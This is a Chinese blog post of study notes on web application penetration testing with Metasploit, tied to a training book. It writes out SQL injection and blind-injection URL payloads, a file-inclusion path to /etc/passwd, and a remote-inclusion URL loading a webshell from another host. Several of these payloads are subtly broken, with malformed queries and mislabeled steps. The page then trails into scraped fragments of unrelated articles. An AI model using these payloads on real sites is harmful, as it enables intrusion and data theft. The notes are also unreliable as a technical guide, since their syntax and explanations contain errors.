《metasploit渗透测试魔鬼训练营》学习笔记第四章—web应用渗透

继续来学习metasploit。。。记好笔记是很重要的,下面开始正文:

二.WEB应用渗透技术

1.WEB应用渗透基础知识

先介绍WEB应用攻击的主要类型(大致介绍,具体请自行查询)

Sql注入攻击:大致分为 普通注入和盲注

跨站脚本(XSS): 分为存储型XSS,反射性XSS以及DOM型XSS

跨站伪造请求(CSRF):以XSS方式注入一段脚本,受害者点击该脚本时,脚本伪造受害者发出请求。

会话认证管理缺陷:验证身份的功能存在缺陷。

安全误配置:开发和管理人员的失误导致存在漏洞。

不安全密码存储:密码以明文形式存在或加密算法过于脆弱。

不安全的对象参考:攻击者利用WEB系统本身的读取功能,任意存取文档,窃取敏感文件。

限制URL访问失败:没有对私有页面的访问进行身份认证。

缺乏传输层的保护:没有设置SSL/TLS等保护机制,直接被攻击者窃取敏感数据。

未验证的重定向和跳转:攻击者通过未验证重定向页面诱使受害者点击,从而窃取受害者敏感数据。

metasploit关于WEB应用渗透攻击的模块较少,但是kali渗透系统里有很多优秀的WEB渗透工具,弥补了metasploit的不足。

1.1metasploit的辅助模块

辅助模块基本都在 modules/auxiliary/,并且在最新的metasploit中内置了wmap WEB扫描器,允许用户配置辅助模块,对网站进行集中扫描。

1.2渗透模块

渗透模块分散在module中的多个文件夹下,有针对主流CMS的漏洞,也有针对各种数据库漏洞的模块,同时也包含了成功后用来操作的webshell。

metasploit与W3AF,SQLMAP,wXf,XSSF,BeFF等WEB漏洞扫描器均有接口,可以更好的进行探测。

2.WEB应用漏洞扫描探测

2.1.开源WEB应用漏洞扫描工具

Wapiti:对SQL注入的扫描准确度很高

W3AF:综合很优秀,都有较高的准确度。

Sandcat Free Edition:对XSS跨站漏洞准确度很高

2.2扫描神器W3AF

W3AF分为八类模块:发现模块(查找HTTP信息,并探测服务器,数据库等信息),审计模块(探测漏洞),搜索模块(捕获信息),攻击模块 (读取扫描信息,并试图通过模块插件攻击),输出模块(输出扫描结果),修改模块(修改信息),入侵模块(绕过入侵检测系统),破解模块(破解需要认证的页面,支持基本认证机制和表单登陆机制的破解)

具体使用方法不在详解。

2.3  SQL注入漏洞探测

sqlmap是一款优秀的SQL注入漏洞的扫描工具。具体用法不再详解。metasploit已经集成了此工具。

2.4  XSS漏洞探测

xsser,xssfuzz等工具,或者使用metasploit集成的W3AF。

2.5  WEB应用程序漏洞探测

wXf是WEB漏洞扫描和攻击框架,利用metasploit框架的构想。kali中没有集成这个工具,需自行下载。

3.WEB应用程序渗透测试

3.1 SQL注入分析

在这里进行简单的讲解,具体更高级的内容请自己查询

普通注入:

http://www.XXX.net/do/plus/view.php?aid=236896‘

//看是否存在注入,若’被过滤,则不能判断。

http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,2,3,4,5,6,7-- //这里用--注释后边的语句,避免语法错误。该语句是用来判断列数的,若返回错误信息,则证明判断错误,继续加数字进行判断。

http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,9,10 from 表名--  //得到数据库版本和用户名。

http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,group_concat(schema_name),10 from information_schema.SCHEMA--   //查询所有表

http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,group_concat(table_name),10 from information_schema.tables where table_schema=database()--   //查询表中所有列

http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,group_concat(column_name),10 from information_schema.columns where table_name=列名十六进制--   //查询列中字段

盲注:这里就只讲解字符的猜解的盲注。

http://www.XXX.net/do/plus/view.php?aid=236896 and length(database())>1

http://www.XXX.net/do/plus/view.php?aid=236896 and length(database())>2

如果第一句没报错,第二句报错了,则证明数据库名是两个字符。以此类推。。

http://www.XXX.net/do/plus/view.php?aid=236896 and ascii(substring(database(),1,1))>97

http://www.XXX.net/do/plus/view.php?aid=236896 and ascii(substring(database(),1,1))>98

如果第一句没报错,第二句报错了,则证明数据库名第一个字符的ASCII码是98,以此类推。。。。

http://www.XXX.net/do/plus/view.php?aid=236896 and (select count(table_name) from information_schema where table_schema=database())>15

这句是获得数据库表的个数

接下来都差不多,不在多述。

3.2跨站攻击实例分析

跨站脚本攻击框架(XSSF),具体教程请自行查询。

3.3命令注入实例分析

一般流程都是扫描到某应用或者插件的漏洞,然后去上网找关于该漏洞的利用代码进行渗透获取webshell,若能力高超,可以自己编写利用的代码或者把利用的代码自己转换成metasploit的exploit模块和payload模块。具体自行实践,我能力有限。。。将来水平上来了会出教程。。。

3.4文件包含和文件上传漏洞

文件包含包括本地文件包含(LFI)和远程文件包含(RFI)。

http://www.XXX.com/?page=././././etc/passwd   //使用“./”退出当前目录,多试几次

http://www.XXX.com/?page=www.ooo.com/shell.php    //shell.php是事先在远程主机上准备好的shell。

文件上传漏洞是由于网站没有经过严格的检查和过滤,可以提交恶意的文件来获取webshell。

关于绕过上传请自行查询。

时间: 2024-12-28 16:34:36

《metasploit渗透测试魔鬼训练营》学习笔记第四章—web应用渗透的相关文章

Metasploit 渗透测试魔鬼训练营读书笔记(连续更新一)

1.1 什么是渗透测试 1.1.1 渗透测试的起源与定义 如果大家对军事感兴趣,会知道各国军队每年都会组织一些军事演习来锻炼军队的攻防战术与作战能力.在信息科技的发源地--美国的军事演习中,将美军称为"蓝军",将假想敌称为"红军",而这种军事演习的方式也在20世纪90年代时,由美国军方与国家安全局引入到对信息网络与信息安全基础设施的实际攻防测试过程中.由一群受过职业训练的安全专家作为"红队"(Red Team),对接受测试的防御方"蓝队

JavaScript学习笔记(第四章——第六章)

时间戳(2015-06-09 20:58:00) 第四章:变量.作用于和内存问题          typeof:判断元素是什么类型            instanceof:检测引用类型对象是否未指定类型          注:所有引用类型皆为Object的实例          JavaScript没有块级作用域:                    例1: if(true){ var color = “blue”; } alert(color);               // bl

Java学习笔记—第四章

第四章  变量和常量 1. Java的访问控制修饰符 使用访问控制修饰符可以限制数据的访问权限.访问控制修饰符有4个等级:private.protected.    public和默认(不指定修饰符). 类型/权限 private protected public 默认 所属类 可访问 可访问 可访问 可访问 同一个包中的其他类(包括子类) 不可访问 可访问 可访问 可访问 不同包中的子类 不可访问 可访问 可访问 不可访问 不同包中的非子类 不可访问 不可访问 可访问 不可访问 2. 变量:变

【PMP】Head First PMP 学习笔记 第四章

第四章 项目整合管理 项目经理每天的工作 力保项目顺利进行 紧密监督以确保计划进行 计划本身不完善需要予以修正 即使是更大的项目的子项目,也要有收尾的过程 6个整合管理过程 整合管理划分为6个过程,项目经理必须掌握的核心职责. 1.制订项目章程 授权你展开工作的文档,通常由赞助人(为项目提供资金的人)交给你. 2.制订项目管理计划 项目管理计划涵盖了所有知识领域,很大一部分就是告诉你在出现问题时如何处理变更. 3.指导和管理项目执行 确保所有人都在做他们本该做的事,项目创建的产品和项目确实满足干

Android学习笔记—第四章 Android开发组件2

第四章 Android开发组件2 列表类组件 (1)ListView组件:以垂直列表的形式列出需要显示的列表项 相关属性: a. android:divider  用于为列表视图设置分隔条,可以用颜色或者图片资源 b. android:dividerHeight  设置分隔条的高度 c. android:entries  通过数组资源为ListView指定列表项 d. android:footerDividersEnabled  设置是否在footerView之前绘制分隔条,默认为true. e

《metasploit渗透测试魔鬼训练营》学习笔记第五章--网络服务渗透攻击

三.网络服务渗透攻击 3.1 内存攻防技术 3.1.1 缓冲区溢出漏洞机理 缓冲区溢出是程序由于缺乏对缓冲区的边界条件检查而引起的一种异常行为. 一般根据缓冲区溢出的内存位置不同,将缓冲区溢出分为栈溢出和堆溢出. 3.1.2 栈溢出利用原理 栈溢出发生在向栈中写数据时,当数据长度超过栈分配的空间时,就会造成溢出. ①覆盖函数返回地址利用方式 程序一般在执行函数时会把该函数返回地址和函数的调用参数,局部变量一起保存在栈中,这就给了攻击者溢出栈缓冲区从而达到修改函数返回地址的机会. 由于程序每次运行

【数据分析 R语言实战】学习笔记 第四章 数据的图形描述

4.1 R绘图概述 以下两个函数,可以分别展示二维,三维图形的示例: >demo(graphics) >demo(persp) R提供了多种绘图相关的命令,可分成三类: 高级绘图命令:在图形设备上产生一个新的图区,它可能包括坐标轴.标签.标题等. 低级绘图命令:在一个己经存在的图形上加上更多的图形元素,如额外的点.线和标签. 交互式图形命令:允许交互式地用鼠标在一个已经存在的图形.上添加图形信息或者提取图形信息. 使用R语言作图,主要按照以下步骤进行: ①取原始数据,准备好绘图需要的变量. ②

matlab学习笔记第四章——统计和MATLAB编程介绍

1.柱状图: >> x = [55,63,69,70,75,78,82,84,85,88,90,96,100]; >> y = [1,2,1,6,4,7,2,1,3,2,4,2,1]; >> bar(x,y) 2.我们可以使用barh命令产生水平的柱状图. 3.通过调用mean函数,MATLAB会告诉我们一组数据的均值是多少. 4.

Solr in action学习笔记 第四章 Solr Config

本章关注solrconfig.xmlSolr为web应用,有一个系统变量solr.solr.home指明Solr目录,启动Solr核后,有一个/server下有一个应用目录,该目录下有一个core.properties,一个conf文件夹和一个data文件夹.core.properties用于配置core,所以solr可以用该文件自动发现core,然后Solr用solrconfig初始化core. 4.1 Overview of solrconfig.xml 4.1.1Common XML da